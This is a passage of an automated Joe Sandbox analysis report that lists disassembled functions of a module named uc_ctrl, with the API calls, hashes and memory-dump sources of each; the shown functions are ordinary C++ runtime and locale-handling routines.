Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: ??1_Lockit@std@@_lock_locales$Bid@locale@std@@ExceptionH_prolog3Throw
String ID:
API String ID: 2931747682-0
Opcode ID: 6bdd95abd3668d4840f12dc7a89d1e447102378087d7f62e2df13892f5f42dc0
Instruction ID: aa07a24a2b5dba34792cd0fe3a86df6006d53bde866fcd0fd9533c473c7f3fee
Opcode Fuzzy Hash: 6bdd95abd3668d4840f12dc7a89d1e447102378087d7f62e2df13892f5f42dc0
Instruction Fuzzy Hash: AE01F135B016208BCF01EB68C9502FD727ABFB6318F654918D411ABB90DF34DD088B81

Function 6C949983 Relevance: 9.0, APIs: 6, Instructions: 47COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C94998A
_lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93E840), ref: 6C949995
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C9499AD

Part of subcall function 6C9318F0: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(01058130,6C983E74,?,6C93635B,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?), ref: 6C931900
Part of subcall function 6C9318F0: ??1_Lockit@std@@QAE@XZ.MSVCP140(?,6C93635B,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?,?,00000000), ref: 6C93191B

_CxxThrowException.VCRUNTIME140(?,6C963BA4,00000000), ref: 6C9499E7
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C949A0F

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: ??1_Lockit@std@@_lock_locales$Bid@locale@std@@ExceptionH_prolog3Throw
String ID:
API String ID: 2931747682-0
Opcode ID: 8668c9a8337d40312eef2096c477fbc50fc7d9e2f5750b709bf8ae7e46b499c2
Instruction ID: a2f1688343503555d22626c4c733bf1b2af6f6878e49493851e153bc75062d3b
Opcode Fuzzy Hash: 8668c9a8337d40312eef2096c477fbc50fc7d9e2f5750b709bf8ae7e46b499c2
Instruction Fuzzy Hash: 8701B135B026218BDF05EB64C8602FD737ABFB6329F660918C411ABB90DF74DD088B85

Function 6C949A1C Relevance: 9.0, APIs: 6, Instructions: 47COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C949A23
_lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93E8AF), ref: 6C949A2E
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C949A46

Part of subcall function 6C9318F0: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(01058130,6C983E74,?,6C93635B,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?), ref: 6C931900
Part of subcall function 6C9318F0: ??1_Lockit@std@@QAE@XZ.MSVCP140(?,6C93635B,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?,?,00000000), ref: 6C93191B

_CxxThrowException.VCRUNTIME140(?,6C963BA4,00000000), ref: 6C949A80
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C949AA8

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: ??1_Lockit@std@@_lock_locales$Bid@locale@std@@ExceptionH_prolog3Throw
String ID:
API String ID: 2931747682-0
Opcode ID: 950ef2f268ca7227e1651445869f8882972caf436adc7d54d55bbf8b84e30adc
Instruction ID: 09597b7e2d11a006ec6256270f00f01b2801ccc4e9803974709b98165caa4c3f
Opcode Fuzzy Hash: 950ef2f268ca7227e1651445869f8882972caf436adc7d54d55bbf8b84e30adc
Instruction Fuzzy Hash: E001DE35A016218BCF01EB6488506FDB37AAFB5318F554518C411ABB90CF34DE088B85

Function 6C94D484 Relevance: 9.0, APIs: 6, Instructions: 47COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C94D48B
_lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C94A8F8,0000000C,6C9380D5,?,?,?,00000000,0000000C,6C938148,?,0000003F,?,00000000,0000003C,6C931A8E), ref: 6C94D496
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6C94D4AE

Part of subcall function 6C9318F0: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(01058130,6C983E74,?,6C93635B,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?), ref: 6C931900
Part of subcall function 6C9318F0: ??1_Lockit@std@@QAE@XZ.MSVCP140(?,6C93635B,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?,?,00000000), ref: 6C93191B

_CxxThrowException.VCRUNTIME140(?,6C963BA4,00000000,?,?,?,00000004), ref: 6C94D4E8
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6C94D510

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: ??1_Lockit@std@@_lock_locales$Bid@locale@std@@ExceptionH_prolog3Throw
String ID:
API String ID: 2931747682-0
Opcode ID: 3f0e1ec5fdfd002a3a61b9f9ea4b42b04a88a4c06122d2481b71f57df05ffa7c
Instruction ID: 61413f0b9112d77b328ca3e110b31454f562bf578d8bb6a88b03c3a4265fce7e
Opcode Fuzzy Hash: 3f0e1ec5fdfd002a3a61b9f9ea4b42b04a88a4c06122d2481b71f57df05ffa7c
Instruction Fuzzy Hash: C8019E3AB016218BCF01EB64C8602FD7276BFA6728FA50919C011ABB90DF34DD088B85

Function 6C94D5B6 Relevance: 9.0, APIs: 6, Instructions: 47COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C94D5BD
_lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C94A996,0000000C,6C9380D5,?,?,?,00000000,0000000C,6C938148,?,0000003F,?,00000000,0000003C,6C931A8E), ref: 6C94D5C8
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6C94D5E0

Part of subcall function 6C9318F0: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(01058130,6C983E74,?,6C93635B,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?), ref: 6C931900
Part of subcall function 6C9318F0: ??1_Lockit@std@@QAE@XZ.MSVCP140(?,6C93635B,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?,?,00000000), ref: 6C93191B

_CxxThrowException.VCRUNTIME140(?,6C963BA4,00000000,?,?,?,00000004), ref: 6C94D61A
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6C94D642

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: ??1_Lockit@std@@_lock_locales$Bid@locale@std@@ExceptionH_prolog3Throw
String ID:
API String ID: 2931747682-0
Opcode ID: 4498e9b3f84711fe0afd6175108a1568b32986420e9df57cc6a9b50878f860c3
Instruction ID: c4749b4769df42fd5437fc91d9cfa87e7f7b193d795457f5b846a6a3cc8ac0fd
Opcode Fuzzy Hash: 4498e9b3f84711fe0afd6175108a1568b32986420e9df57cc6a9b50878f860c3
Instruction Fuzzy Hash: 8901B13AB026258BCF01EB64C8506FD7376AFB6328F650859C415ABB90DF34DD098B81

Function 6C94D51D Relevance: 9.0, APIs: 6, Instructions: 47COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C94D524
_lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C94A945,0000000C,6C9380D5,?,?,?,00000000,0000000C,6C938148,?,0000003F,?,00000000,0000003C,6C931A8E), ref: 6C94D52F
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6C94D547

Part of subcall function 6C9318F0: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(01058130,6C983E74,?,6C93635B,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?), ref: 6C931900
Part of subcall function 6C9318F0: ??1_Lockit@std@@QAE@XZ.MSVCP140(?,6C93635B,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?,?,00000000), ref: 6C93191B

_CxxThrowException.VCRUNTIME140(?,6C963BA4,00000000,?,?,?,00000004), ref: 6C94D581
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6C94D5A9

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: ??1_Lockit@std@@_lock_locales$Bid@locale@std@@ExceptionH_prolog3Throw
String ID:
API String ID: 2931747682-0
Opcode ID: 044b2535050b4389da2122ce66beda8e0e4a4caa00ece7c9e21f1fcbd2e99879
Instruction ID: 30935b87ef289000560cb63104f3c970409c967cf843503f1d6adfaac0bb2428
Opcode Fuzzy Hash: 044b2535050b4389da2122ce66beda8e0e4a4caa00ece7c9e21f1fcbd2e99879
Instruction Fuzzy Hash: 3D019E3AA016218BDF05EB64C8506FD7376AFB5728F544918D411ABB90DF34DD088B81

Function 6C949686 Relevance: 9.0, APIs: 6, Instructions: 47COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C94968D
_lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93E676,?,?,?,?,?,?,?,?,00000000), ref: 6C949698
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,?,?,?,00000000), ref: 6C9496B0

Part of subcall function 6C9318F0: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(01058130,6C983E74,?,6C93635B,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?), ref: 6C931900
Part of subcall function 6C9318F0: ??1_Lockit@std@@QAE@XZ.MSVCP140(?,6C93635B,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?,?,00000000), ref: 6C93191B

_CxxThrowException.VCRUNTIME140(?,6C963BA4,00000000,?,?,?,?,?,?,?,?,00000000), ref: 6C9496EA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,?,?,?,?,?,00000000), ref: 6C949712

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: ??1_Lockit@std@@_lock_locales$Bid@locale@std@@ExceptionH_prolog3Throw
String ID:
API String ID: 2931747682-0
Opcode ID: 75e0a33dd0ea31140d45f3e5a8d182217c43a11d691876e4a03e6b31703a4d7c
Instruction ID: b8b00c995a53425b0d7cac15b1e2869f09ab4d67d6cdadaf9194c59164b4cfa1
Opcode Fuzzy Hash: 75e0a33dd0ea31140d45f3e5a8d182217c43a11d691876e4a03e6b31703a4d7c
Instruction Fuzzy Hash: E001D435B056218BDF01EB74C9502FE727ABFB5718F654918D015ABB90DF74DD088B81

Function 6C94D6E8 Relevance: 9.0, APIs: 6, Instructions: 47COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C94D6EF
_lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 6C94D6FA
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C94D712

Part of subcall function 6C9318F0: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(01058130,6C983E74,?,6C93635B,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?), ref: 6C931900
Part of subcall function 6C9318F0: ??1_Lockit@std@@QAE@XZ.MSVCP140(?,6C93635B,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?,?,00000000), ref: 6C93191B

_CxxThrowException.VCRUNTIME140(?,6C963BA4,00000000), ref: 6C94D74C
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C94D774

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: ??1_Lockit@std@@_lock_locales$Bid@locale@std@@ExceptionH_prolog3Throw
String ID:
API String ID: 2931747682-0
Opcode ID: a8d661950b3d60dbacffdc319269b6f5aba98c55c9bb268c0b712affbc10743d
Instruction ID: ac5d4c27474b0574865f807174dd58bd9191f19748723ed3b003d3373d1a27f5
Opcode Fuzzy Hash: a8d661950b3d60dbacffdc319269b6f5aba98c55c9bb268c0b712affbc10743d
Instruction Fuzzy Hash: C801B579B026218BCF05EB74C8601FD72B6BFB6768F645918D411ABB90DF34DD088B85

Function 6C94D64F Relevance: 9.0, APIs: 6, Instructions: 47COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C94D656
_lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C94A9E7,0000000C,6C9380D5,?,?,?,00000000,0000000C,6C938148,?,0000003F,?,00000000,0000003C,6C931A8E), ref: 6C94D661
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6C94D679

Part of subcall function 6C9318F0: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(01058130,6C983E74,?,6C93635B,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?), ref: 6C931900
Part of subcall function 6C9318F0: ??1_Lockit@std@@QAE@XZ.MSVCP140(?,6C93635B,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?,?,00000000), ref: 6C93191B

_CxxThrowException.VCRUNTIME140(?,6C963BA4,00000000,?,?,?,00000004), ref: 6C94D6B3
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6C94D6DB

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: ??1_Lockit@std@@_lock_locales$Bid@locale@std@@ExceptionH_prolog3Throw
String ID:
API String ID: 2931747682-0
Opcode ID: d01075c9beb8d711ec74d82c4b4cc0917d0efa655dd1e06f640f0440e5ac2f23
Instruction ID: e98eb923de3ac653146306ed991ddeb5fa01fb9ad1d969f9351ffb6ea0f35296
Opcode Fuzzy Hash: d01075c9beb8d711ec74d82c4b4cc0917d0efa655dd1e06f640f0440e5ac2f23
Instruction Fuzzy Hash: 71019E3AA026258BCF01EBA4C8506FD7376BFB5328F544918D419ABB90DF34DD08CB85

Function 6C94D781 Relevance: 9.0, APIs: 6, Instructions: 47COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C94D788
_lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C94AACA), ref: 6C94D793
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C94D7AB

Part of subcall function 6C9318F0: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(01058130,6C983E74,?,6C93635B,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?), ref: 6C931900
Part of subcall function 6C9318F0: ??1_Lockit@std@@QAE@XZ.MSVCP140(?,6C93635B,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?,?,00000000), ref: 6C93191B

_CxxThrowException.VCRUNTIME140(?,6C963BA4,00000000), ref: 6C94D7E5
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C94D80D

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: ??1_Lockit@std@@_lock_locales$Bid@locale@std@@ExceptionH_prolog3Throw
String ID:
API String ID: 2931747682-0
Opcode ID: d5d978c57bbf89e595a6307a6321566da7dc33e2b4c07aad75fc7cc8238634da
Instruction ID: fa3755082720b2eb4b5e99c696dfa9a12cd63df21f932cd9bc1cd85cf520bfa1
Opcode Fuzzy Hash: d5d978c57bbf89e595a6307a6321566da7dc33e2b4c07aad75fc7cc8238634da
Instruction Fuzzy Hash: 6101D83AB016218BDF01EB74C8602FD73B6AFB5718F554418C411ABB90DF34DD098B85

Function 6C9497B8 Relevance: 9.0, APIs: 6, Instructions: 47COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C9497BF
_lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93E72A,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C9497CA
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C9497E2

Part of subcall function 6C9318F0: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(01058130,6C983E74,?,6C93635B,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?), ref: 6C931900
Part of subcall function 6C9318F0: ??1_Lockit@std@@QAE@XZ.MSVCP140(?,6C93635B,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?,?,00000000), ref: 6C93191B

_CxxThrowException.VCRUNTIME140(?,6C963BA4,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C94981C
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C949844

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: ??1_Lockit@std@@_lock_locales$Bid@locale@std@@ExceptionH_prolog3Throw
String ID:
API String ID: 2931747682-0
Opcode ID: 47fea2667fc1a4a17c844a498b5de28c5eabe5a80b710c87a1536f25cb39a3ec
Instruction ID: e8718a4ae370ff97bca3c6f7fb17ee68055196dbc34f052b045271e716a41e34
Opcode Fuzzy Hash: 47fea2667fc1a4a17c844a498b5de28c5eabe5a80b710c87a1536f25cb39a3ec
Instruction Fuzzy Hash: 1801B135B016258BDF01EB68C9606FD727ABFB6718F664568C421ABBD0DF34DD088B81

Function 6C94971F Relevance: 9.0, APIs: 6, Instructions: 47COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C949726
_lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93E6DD,?,?,?,?,?,?,?,?,00000000), ref: 6C949731
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,?,?,?,00000000), ref: 6C949749

Part of subcall function 6C9318F0: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(01058130,6C983E74,?,6C93635B,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?), ref: 6C931900
Part of subcall function 6C9318F0: ??1_Lockit@std@@QAE@XZ.MSVCP140(?,6C93635B,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?,?,00000000), ref: 6C93191B

_CxxThrowException.VCRUNTIME140(?,6C963BA4,00000000,?,?,?,?,?,?,?,?,00000000), ref: 6C949783
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,?,?,?,?,?,00000000), ref: 6C9497AB

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: ??1_Lockit@std@@_lock_locales$Bid@locale@std@@ExceptionH_prolog3Throw
String ID:
API String ID: 2931747682-0
Opcode ID: 143912d3074747783e07ead36b5fc886c43dcaf335862899ec11d44589b427fd
Instruction ID: e4d5fe279779e7bb5fc1773430a043dc219de3d1744e84d2d3beca7aef03366e
Opcode Fuzzy Hash: 143912d3074747783e07ead36b5fc886c43dcaf335862899ec11d44589b427fd
Instruction Fuzzy Hash: EE019E39A016218BCF01EB6489502FD737ABFA5728F554918C411ABB90DF38DD088B95

Function 6C92A630 Relevance: 9.0, APIs: 6, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

___lc_codepage_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 6C92A634
_calloc_base.API-MS-WIN-CRT-HEAP-L1-1-0(00000100,00000002), ref: 6C92A646
__pctype_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 6C92A657
__pctype_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 6C92A674
___lc_locale_name_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 6C92A681
_wcsdup.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C92A692

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: __pctype_func$___lc_codepage_func___lc_locale_name_func_calloc_base_wcsdup
String ID:
API String ID: 2457980410-0
Opcode ID: 279d71bc7dfe5183df5598154005f146fe8ca2e9df2bdb7f4ced0a528f05c798
Instruction ID: ac2e08dc06e2d42dc8719316150f855f62eb06b0efc44ebb2a129eed794f0fa8
Opcode Fuzzy Hash: 279d71bc7dfe5183df5598154005f146fe8ca2e9df2bdb7f4ced0a528f05c798
Instruction Fuzzy Hash: B101FF756063019FEB019F65D888A457FB8FB06325F24C469E909CF646DB79D504CBA0

Function 6C93B570 Relevance: 9.0, APIs: 6, Instructions: 40COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C93B577
_lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000008,6C9319C1,?,747991BB,?,?,6C95BB67,000000FF), ref: 6C93B580
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,747991BB,?,?,6C95BB67,000000FF), ref: 6C93B5D1
??1_Lockit@std@@QAE@XZ.MSVCP140(747991BB,?,?,6C95BB67,000000FF), ref: 6C93B5DB

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: ??1_H_prolog3Lockit@std@@_lock_localesfree
String ID:
API String ID: 3763048160-0
Opcode ID: 9dca4c39562b2cabfe8cce5e159f4e23dd6c7ae8f31d0ebb144bc75b96432a30
Instruction ID: 2e869895e3e4f243879a0f4ba69ffe6832b633906ef5867d5c485c3d7f6d8b22
Opcode Fuzzy Hash: 9dca4c39562b2cabfe8cce5e159f4e23dd6c7ae8f31d0ebb144bc75b96432a30
Instruction Fuzzy Hash: 82015A38A016268FDF00DF64C850AAD7B71BF55714F548458C409AF790CF30EE04CBA0

Function 00772B00 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 197COMMON

Download Yara Rule

APIs

??8CDuiString@UiLib@@QBE_NPB_W@Z.UC_GUILIB(btn_ok), ref: 00772B56
??1CDuiString@UiLib@@QAE@XZ.UC_GUILIB ref: 00772B6B
